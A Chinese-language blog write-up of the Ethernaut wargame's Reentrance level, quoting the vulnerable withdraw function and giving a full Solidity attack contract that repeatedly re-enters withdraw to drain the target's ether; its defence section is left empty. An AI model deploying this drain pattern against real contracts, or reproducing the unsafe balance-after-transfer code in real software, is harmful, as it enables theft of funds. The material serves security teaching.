# 智能合约黑客攻击 Ethernaut:  
 10. Reentrance

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-26

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

将 **Reentrance** 合约中的**ether**全部转出来。

Hack思路
------

这是一个类似于钱包的合约，可以向里面存取 ether，转ether时会有一个强制的回调hook机制，而且这个钱包的扣余额时在转账之前的，所以可以进入无限 hook 回调导致ether被偷走。

      function withdraw(uint _amount) public {
        if(balances[msg.sender] >= _amount) {
          // 提现，会触发 receive 方法
          (bool result,) = msg.sender.call{value:_amount}("");
          if(result) {
            _amount;
          }
          // 扣除余额
          balances[msg.sender] -= _amount;
        }
      }
    

攻击合约代码

    interface IReentrance {
        function donate(address _to) external payable;
        function withdraw(uint256 _amount) external;
    }
    
    contract ReentranceHack {
        IReentrance public exploitInst;
        // 第一次的余额，后面每次循环提前金额都不能超过它
        uint256 private initialDeposit;
    
        constructor(address _target) {
            exploitInst = IReentrance(_target);
        }
    
        function attack() external payable {
            require(msg.value >= 0.001 ether, "send some more ether");
            initialDeposit = msg.value;
            exploitInst.donate{ value: initialDeposit }(address(this));
            _withdraw();
        }
    
        receive() external payable {
            _withdraw();
        }
    
        function _withdraw() private {
            // 最开始存的钱，转账不能超过这个数，重入会被拦截
            uint256 toWithdraw = initialDeposit;
            // Reentrance 余额小于 每次重入转账的金额，调整金额吧把剩下的转出来
            uint256 challengeBalance = address(exploitInst).balance;
            toWithdraw = toWithdraw > challengeBalance ? challengeBalance : toWithdraw;
            if (toWithdraw > 0) {
                exploitInst.withdraw(toWithdraw);
            }
        }
    }
    

Hack案例
------

非常之多，后面可能出一个系列来讲以前智能合约写的有多烂。

防范思路
----

….

参考资料
----

….

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-10-reentrance)*
